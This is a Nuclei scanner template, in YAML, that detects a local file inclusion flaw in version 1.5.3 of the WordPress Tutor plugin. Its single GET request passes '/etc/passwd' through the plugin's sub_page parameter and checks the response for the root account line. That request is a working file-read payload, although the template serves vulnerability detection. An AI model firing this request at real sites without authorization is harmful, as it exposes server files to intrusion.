id: wp-tutor-lfi

info:
  name: WordPress tutor 1.5.3 - Local File Inclusion
  author: 0x240x23elu
  severity: high
  description: WordPress tutor.1.5.3 is vulnerable to local file inclusion.
  reference:
    - https://www.exploit-db.com/exploits/48058
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 1
  tags: wordpress,wp-plugin,lfi,edb

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/tutor/views/pages/instructors.php?sub_page=/etc/passwd"

    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"
        part: body
# digest: 4a0a0047304502207c4003e916db07049a86b51d8a120270c44e16011b2a8fe245852b1754638446022100dc571e73207a4fc9af4fb9c16e26de667f60f46060b7d3e37ea9d99064970dd8:922c64590222798bb761d5b6d8e72950